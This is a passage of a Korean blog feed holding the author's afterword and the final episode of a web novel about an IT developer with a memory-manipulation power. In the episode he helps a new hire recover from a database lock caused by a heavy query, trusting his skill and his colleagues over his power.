&lt;p data-ke-size=&quot;size16&quot;&gt;작중 등장하는 파이썬 코드, 리눅스 명령어, 장애 대응 프로세스는 IT 현업에 계신 분들께 자문을 구하며 최대한 현실성을 살리려 노력했습니다. 이 자리를 빌려 도움 주신 분들께 감사드립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각자의 자리에서 보이지 않는 싸움을 계속하고 계실 모든 '한결'들에게, 이 이야기가 작은 위로와 공감이 되었기를 바랍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 한번, 첫 화부터 마지막 화까지 함께 달려주신 독자 여러분께 깊은 감사를 드립니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- 작가 드림&lt;/b&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;완결 후기: 눈빛의 끝에서, 사람을 만나다&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;드디어 &amp;lt;내 눈을 보면 안 돼&amp;gt;의 마지막 페이지를 덮습니다. 시원섭섭하다는 말이 이럴 때 쓰는 거겠죠.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개인적으로는 9화 '붕괴의 시련' 파트를 쓸 때 가장 긴장했습니다. 한결이 초능력의 유혹을 뿌리치고 오직 자신의 기술과 논리로 재난을 수습하는 장면은, 이 소설의 주제가 응축된 클라이맥스였습니다. 또, 4화에서 감정을 제어하지 못해 능력이 폭주했던 장면은, 그의 성장을 위해 꼭 필요한 시련이었다고 생각합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'기억 조작'이라는 비현실적인 능력과 'DB 락(Lock)'이라는 극현실적인 소재 사이의 균형을 맞추는 것이 가장 큰 숙제였습니다. 독자분들께서 &quot;개발자인데 너무 현실적이라 놀랐다&quot; 혹은 &quot;비전공자인데도 이해하기 쉬웠다&quot;는 댓글을 남겨주실 때마다 큰 힘을 얻었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 한결은 더 이상 자신의 눈을 두려워하지 않을 겁니다. 아마 내일 출근해서는 신입사원 민재의 쿼리를 리뷰해주고, 최 주임과 커피를 마시며 농담을 던지고, 윤 대리와 다음 프로젝트에 대해 고민하겠죠. 그의 눈은 이제 평범한 갈색이지만, 그 어떤 능력보다 강한 '신뢰'의 빛을 담고 있을 겁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1화의 외롭던 소년이 10화에서 듬직한 리더가 되기까지, 그의 성장을 애정으로 지켜봐 주신 모든 독자분께 다시 한번 깊이 감사드립니다. 여러분의 삶에도 한결이와 같은 따뜻한 성장의 순간이 함께하기를 기원합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;942&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uhv8l/dJMcag5y3e6/nbcqsDmkXsJKyG6MgfymeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uhv8l/dJMcag5y3e6/nbcqsDmkXsJKyG6MgfymeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uhv8l/dJMcag5y3e6/nbcqsDmkXsJKyG6MgfymeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fuhv8l%2FdJMcag5y3e6%2FnbcqsDmkXsJKyG6MgfymeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;508&quot; height=&quot;467&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;942&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uTn7d/dJMcaaEhwQN/jHhl6ifyAHY94WODoSkHD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uTn7d/dJMcaaEhwQN/jHhl6ifyAHY94WODoSkHD1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;935&quot; data-origin-height=&quot;1024&quot; data-filename=&quot;blob&quot; data-widthpercent=&quot;45.41&quot; style=&quot;width: 44.8851%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uTn7d/dJMcaaEhwQN/jHhl6ifyAHY94WODoSkHD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuTn7d%2FdJMcaaEhwQN%2FjHhl6ifyAHY94WODoSkHD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;935&quot; height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/C5cO5/dJMcajgQTZw/ygi2i5dt5lrk8WLaDRWLrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/C5cO5/dJMcajgQTZw/ygi2i5dt5lrk8WLaDRWLrK/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;933&quot; data-filename=&quot;blob&quot; style=&quot;width: 53.9521%;&quot; data-widthpercent=&quot;54.59&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/C5cO5/dJMcajgQTZw/ygi2i5dt5lrk8WLaDRWLrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FC5cO5%2FdJMcajgQTZw%2Fygi2i5dt5lrk8WLaDRWLrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;933&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다음&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/214&quot;&gt;https://thepin.tistory.com/214&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771422143225&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 한결의 능력 상세 설정&quot; data-og-description=&quot;한결의 능력 상세 설정구분상세 내용비고능력 명칭기억 조작 및 암시 (Memory Manipulation &amp;amp; Suggestion)공식 명칭은 없으나 '눈'을 매개로 함발동 조건대상과의 직접적인 눈 맞춤 (Eye Contact)안경이나 렌&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/214&quot; data-og-url=&quot;https://thepin.tistory.com/214&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/RFB0t/dJMb8Z3nHhP/7o4AiKJPKmnDObT84q109K/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504,https://scrap.kakaocdn.net/dn/Jgx4s/dJMb83kpmRw/ZEeugsMAWZeTgkShM0KmI0/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/214&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/214&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/RFB0t/dJMb8Z3nHhP/7o4AiKJPKmnDObT84q109K/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504,https://scrap.kakaocdn.net/dn/Jgx4s/dJMb83kpmRw/ZEeugsMAWZeTgkShM0KmI0/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소설001: 내 눈을 보면 안 돼 - 한결의 능력 상세 설정&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;한결의 능력 상세 설정구분상세 내용비고능력 명칭기억 조작 및 암시 (Memory Manipulation &amp;amp; Suggestion)공식 명칭은 없으나 '눈'을 매개로 함발동 조건대상과의 직접적인 눈 맞춤 (Eye Contact)안경이나 렌&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;[부록] 작품 정보&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;제목:&lt;/b&gt; 내 눈을 보면 안 돼&lt;/li&gt;
&lt;li&gt;&lt;b&gt;장르:&lt;/b&gt; 현대판 초능력 &amp;times; 오피스 성장 드라마&lt;/li&gt;
&lt;li&gt;&lt;b&gt;총 화수:&lt;/b&gt; 10화 (완결)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주요 키워드:&lt;/b&gt; #기억조작 #성장물 #IT회사 #리더십 #사내정치 #먼치킨아님&lt;/li&gt;
&lt;li&gt;&lt;b&gt;한 줄 요약:&lt;/b&gt; 눈을 마주치면 기억을 조작할 수 있는 능력을 가진 주인공이, 능력이 아닌 '신뢰'로 진정한 리더가 되어가는 이야기.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>VibeCoding/글</category>
      <category>기억조작</category>
      <category>내눈을보면안돼</category>
      <category>능력봉인</category>
      <category>리더십</category>
      <category>신뢰성장</category>
      <category>이한결</category>
      <category>제미나이</category>
      <category>직장인간관계</category>
      <category>현실과초현실의경계</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/213</guid>
      <comments>https://thepin.tistory.com/213#entry213comment</comments>
      <pubDate>Wed, 18 Feb 2026 14:22:02 +0900</pubDate>
    </item>
    <item>
      <title>소설001: 내 눈을 보면 안 돼 - 제10화. 눈빛의 끝, 사람의 시작</title>
      <link>https://thepin.tistory.com/212</link>
      <description>&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;이전&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/211&quot;&gt;https://thepin.tistory.com/211&lt;/a&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;제10화. 눈빛의 끝, 사람의 시작&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계절이 두 번 바뀌었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그날의 &amp;lsquo;30만 접속 대란&amp;rsquo;은 넥솔브 개발팀의 전설이 되었다. 우리는 그 위기를 넘긴 후에도 수많은 버그와 싸웠고, 크고 작은 장애를 겪었다. 하지만 더 이상 누구도 서로를 탓하거나 절망하지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리에겐 시스템이 있었고, 서로에 대한 신뢰가 있었으니까.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;이한결 대리, 이번 분기 우수 사원 표창 축하해.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;박성우 팀장이 꽃다발을 건넸다. 사무실에 박수 소리가 울려 퍼졌다. 나는 얼떨떨한 표정으로 상패를 받아 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;우수 사원 이한결.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;금박으로 새겨진 내 이름이 낯설게 빛났다. 1년 전, 면접장에서 &amp;lsquo;짐만 될 것&amp;rsquo;이라는 소리를 듣던 내가, 이제는 팀의 중심이 되어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 화장실 거울 앞에 섰다. 찬물로 세수를 하고 고개를 들었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;거울 속의 남자가 나를 쳐다보고 있었다. 나는 눈을 크게 뜨고 내 동공을 들여다보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lsquo;나와라.&amp;rsquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마음속으로 명령했다. 예전 같으면 감정이 요동칠 때마다 제멋대로 튀어나와 나를 집어삼키려던 보라색 광채였다.&lt;br /&gt;하지만 지금은 고요했다. 깊은 갈색 눈동자는 잔잔한 호수처럼 흔들림이 없었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;능력이 사라진 건 아니었다. 나는 느낄 수 있었다. 내 의식 깊은 곳, 아주 깊은 심연에 그 힘이 얌전히 웅크리고 있다는 것을. 언제든 내가 원하면 다시 꺼내어 세상을 속일 수 있다는 것을.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이제는 내가 주인이다. 내가 부르지 않는 한, 그것은 절대 수면 위로 올라오지 못한다.&lt;br /&gt;나는 더 이상 불안이나 공포 때문에 능력을 꺼내 들지 않는다. 나를 지킬 무기는 이제 초능력이 아니다.&lt;br /&gt;수천 번의 커밋(Commit), 수만 줄의 코드, 그리고 나와 등을 맞대고 있는 동료들. 그것들이 나를 지탱하는 진짜 힘이었다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아&amp;hellip; 어떡하지?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자리로 돌아오는데, 파티션 너머에서 절망에 가까운 앓는 소리가 들렸다. 지난달에 들어온 신입 사원, &amp;lsquo;김민재&amp;rsquo;였다. 그는 망분리 PC 앞에서 모니터를 부여잡고 사색이 되어 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;민재 씨, 무슨 일이야?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 다가가자 민재 씨가 화들짝 놀라며 일어났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;대, 대리님! 죄송합니다! 제가&amp;hellip; 제가 사고 친 것 같습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그의 얼굴은 1년 전의 나처럼 하얗게 질려 있었다. 핏기가 가신 입술이 파르르 떨렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;데이터 추출 요청이 와서, 가이드대로 망분리 PC에서 운영 DB 조회 쿼리를 실행했는데&amp;hellip; 쿼리가 끝나지도 않고, 관련 어드민 페이지가 전부 멈췄습니다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그의 눈동자는 공포로 가득 차 있었다. &amp;lsquo;내가 운영 서버를 죽였구나.&amp;rsquo; 그 생각에 짓눌려 숨도 제대로 쉬지 못하는 듯했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;옆자리의 최 주임이 혀를 찼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;야, 김민재. 너 또 &lt;code&gt;WHERE&lt;/code&gt; 절 빼먹고 돌린 거 아니야? 사고 쳤네, 쳤어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최 주임의 목소리가 커지자 사무실의 시선이 집중됐다. 민재 씨는 금방이라도 울음을 터뜨릴 것 같았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 민재 씨의 어깨를 가볍게 눌러 자리에 앉혔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;괜찮아. 일단 심호흡부터 해.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 목소리에 그가 고개를 들었다. 나는 그의 눈을 피하지 않고 똑바로 마주 보았다. 과거의 나라면, 이 공포를 지우기 위해 능력을 썼을지도 모른다. 하지만 지금은 아니었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;하지만&amp;hellip; 제가 다 망쳤습니다&amp;hellip;.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;아니, 아직 아무것도 안 망쳤어. 네가 죽인 거 아니야. 같이 보자.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 민재 씨 옆에 의자를 끌어와 앉았다. 터미널에 남아있는 쿼리 기록을 확인했다. &lt;code&gt;JOIN&lt;/code&gt;이 여러 개 걸린 복잡한 &lt;code&gt;SELECT&lt;/code&gt; 문이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;음, 이 정도면 신입이 짜기엔 꽤 복잡한 쿼리인데. 아마 인덱스를 타지 못해서 풀 스캔(Full Scan)이 도는 바람에 DB에 부하가 간 것 같아. 락(Lock)이 걸린 거지.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼&amp;hellip; 어떻게 해야 합니까?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;DBA팀에 바로 연락해서, 지금 돌고 있는 이 쿼리 세션 좀 강제 종료해달라고 요청해야 해. 내가 같이 연락해줄게.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 사내 메신저로 DBA팀 그룹에 메시지를 보냈다.&lt;br /&gt;&lt;code&gt;[개발2팀 이한결] 안녕하세요. 신입사원 교육 중 실수로 부하가 큰 쿼리가 실행되어 운영 DB에 락이 걸린 것으로 보입니다. 관련 세션 확인 및 프로세스 킬 부탁드립니다. 쿼리 내용은 아래와 같습니다.&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;몇 분 뒤, DBA팀으로부터 회신이 왔다.&lt;br /&gt;&lt;code&gt;[DBA팀] 조치 완료했습니다. 확인해주세요.&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;어&amp;hellip;? 된다.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민재 씨가 멈춰 있던 어드민 페이지를 새로고침하자, 언제 그랬냐는 듯 화면이 정상적으로 나타났다. 그는 믿기지 않는다는 듯 입을 벌렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;다음부터는 복잡한 쿼리는 바로 실행하지 말고, 앞에 &lt;code&gt;EXPLAIN&lt;/code&gt;을 붙여서 실행 계획부터 확인하는 습관을 들여. 그럼 이런 사고 막을 수 있어. 알았지?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 웃으며 말하자, 그제야 민재 씨의 얼굴에 혈색이 돌아왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;감사합니다&amp;hellip; 진짜 감사합니다, 대리님. 저 진짜 죽는 줄 알았어요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;처음엔 다 그래. 나도 입사 첫날에 데이터 다 날려 먹을 뻔했어.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;에이, 대리님이요? 거짓말. 대리님은 처음부터 에이스셨다던데.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민재 씨가 안도감에 농담을 던졌다. 나는 피식 웃으며 자리로 돌아가려 했다. 그때, 민재 씨가 나를 불렀다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;저기&amp;hellip; 대리님.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;응?&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;사실 입사하기 전에 대리님 무섭다는 소문 들었거든요. 눈 마주치면 막 혼내고, 사람 멘탈 털어버린다고&amp;hellip;. 눈빛만 봐도 기가 빨린다고요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과거의 내가 만든 업보였다. 나는 씁쓸하게 웃었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그런데 겪어보니까 아니네요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;민재 씨가 나를 똑바로 바라보며 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그런데 겪어보니까 아니네요. 대리님 눈을 보면요, 이상하게 마음이 편해져요. 최면 걸린 것처럼 멍해지는 게 아니라&amp;hellip; 뭐랄까, &amp;lsquo;아, 이 사람이랑 있으면 해결할 수 있겠구나&amp;rsquo; 하는 든든한 생각이 들어요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;순간, 가슴 한구석이 찡하게 울렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그것은 내가 그토록 갈망하던 말이었다.&lt;br /&gt;기억을 조작해서 억지로 심어놓은 가짜 안도감이 아니었다.&lt;br /&gt;나라는 사람 자체가, 나의 실력과 태도가 만들어낸 진짜 신뢰였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 민재 씨의 눈을 마주 보았다. 내 눈동자에 비친 그는 더 이상 겁먹은 신입 사원이 아니었다. 앞으로 성장할, 나의 믿음직한 후배였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;그럼 그렇게 기억해 줘요.&amp;rdquo;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 부드럽게 말했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;ldquo;무서운 사람이 아니라, 마음이 편했던 사람으로.&amp;rdquo;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;퇴근길, 빌딩 숲 사이로 노을이 지고 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 넥타이를 느슨하게 풀고 걸음을 옮겼다. 심장은 여전히 남들보다 조금 약하게 뛰고 있었지만, 발걸음은 그 어느 때보다 가벼웠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 나는 안다.&lt;br /&gt;세상을 바꾸는 건 초능력이 아니다.&lt;br /&gt;나 자신을 믿고, 타인을 믿는 용기. 그리고 그 믿음을 증명해내는 땀방울이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 하늘을 올려다보며 눈을 감았다 떴다.&lt;br /&gt;평범한 갈색 눈동자에, 따뜻한 저녁 노을이 가득 담겼다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것으로 충분했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;939&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLBgUK/dJMcachMT2q/T3RI4DTAZK1OAdHrBhXk9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLBgUK/dJMcachMT2q/T3RI4DTAZK1OAdHrBhXk9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLBgUK/dJMcachMT2q/T3RI4DTAZK1OAdHrBhXk9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLBgUK%2FdJMcachMT2q%2FT3RI4DTAZK1OAdHrBhXk9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;716&quot; height=&quot;657&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;939&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다음&amp;nbsp;이야기&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://thepin.tistory.com/213&quot;&gt;https://thepin.tistory.com/213&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1771422113928&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소설001: 내 눈을 보면 안 돼 - 작가의 말 &amp;amp; 완결 후기&quot; data-og-description=&quot;작가의 말 &amp;amp; 완결 후기작가의 말안녕하세요, 독자 여러분.의 여정을 함께해주셔서 진심으로 감사합니다.10화에 걸친 짧고도 긴 이야기가 드디어 막을 내렸습니다. 이 소설은 &amp;quot;만약 우리에게 타인&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/213&quot; data-og-url=&quot;https://thepin.tistory.com/213&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cqtKmv/dJMb8UHLBFf/A52ccpapdIHy8gSgqVCCe1/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504,https://scrap.kakaocdn.net/dn/nFptL/dJMb8YpRRr7/Ku78skAkA2Ab4E4x1eYl90/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504,https://scrap.kakaocdn.net/dn/PMK6C/dJMb8WMlZ0a/jkxxgYEck4CKy8yzrWxSqK/img.png?width=1024&amp;amp;height=942&amp;amp;face=299_211_686_633&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/213&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/213&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cqtKmv/dJMb8UHLBFf/A52ccpapdIHy8gSgqVCCe1/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504,https://scrap.kakaocdn.net/dn/nFptL/dJMb8YpRRr7/Ku78skAkA2Ab4E4x1eYl90/img.png?width=800&amp;amp;height=800&amp;amp;face=226_186_518_504,https://scrap.kakaocdn.net/dn/PMK6C/dJMb8WMlZ0a/jkxxgYEck4CKy8yzrWxSqK/img.png?width=1024&amp;amp;height=942&amp;amp;face=299_211_686_633');&quot;&gt;&amp;nbsp;&lt;/div&gt;
